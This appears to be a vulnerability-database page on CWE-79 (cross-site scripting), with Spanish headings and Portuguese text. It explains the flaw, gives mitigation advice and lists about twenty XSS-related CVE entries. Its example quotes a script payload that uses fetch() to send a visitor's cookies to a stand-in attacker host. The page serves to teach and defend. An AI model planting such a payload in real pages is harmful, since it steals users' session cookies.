Fallos del tipo CWE-79

28.832 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-56519HIGHAn issue was discovered in TCPDF before 6.8.0. setSVGStyles does not sanitize the SVG font-family attribute.EPSS 0.6%CVE-2023-6945LOWSourceCodester Online Student Management System edit-student-detail.php cross site scriptingEPSS 0.6%CVE-2026-27616HIGHVikunja Vulnerable to Stored Cross-Site Scripting (XSS) via Unsanitized SVG Attachment Upload Leading to Token ExposureEPSS 0.6%CVE-2023-25841MEDIUMBUG-000158075 Stored XSS issue in ArcGIS ServerEPSS 0.6%CVE-2022-30681MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 0.6%CVE-2022-30678MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 0.6%CVE-2025-3929MEDIUMStored XSS vulnerability in MDaemon Email ServerEPSS 0.6%CVE-2022-3339MEDIUMReflected XSS in Trellix ePO serverEPSS 0.6%CVE-2021-38674MEDIUMReflected XSS Vulnerability in TFTPEPSS 0.6%CVE-2023-39208MEDIUMImproper input validation in Zoom Desktop Client for Linux before version 5.15.10 may allow an unauthenticated user to conduct a denial of sEPSS 0.6%CVE-2024-45812MEDIUMDOM Clobbering gadget found in vite bundled scripts that leads to XSS in ViteEPSS 0.6%CVE-2025-64538CRITICALAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-3144LOWSourceCodester Online Discussion Forum Site manage_post.php cross site scriptingEPSS 0.6%CVE-2024-3715HIGHDatabase for Contact Form 7, WPforms, Elementor forms <= 1.3.8 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-2691LOWSourceCodester Personnel Property Equipment System POST Parameter add_item.php cross site scriptingEPSS 0.6%CVE-2021-33852—A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicEPSS 0.6%CVE-2022-30680MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 0.6%CVE-2022-28707HIGHOn F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, and 14.1.x versions prior to 14.1.4.6, a stored cross-sitEPSS 0.6%CVE-2023-5302LOWSourceCodester Best Courier Management System Manage Account Page cross site scriptingEPSS 0.6%CVE-2021-24292—Happy Addons for Elementor Free < 2.24.0 and Pro < 1.17.0 - Contributor+ Stored XSSEPSS 0.6%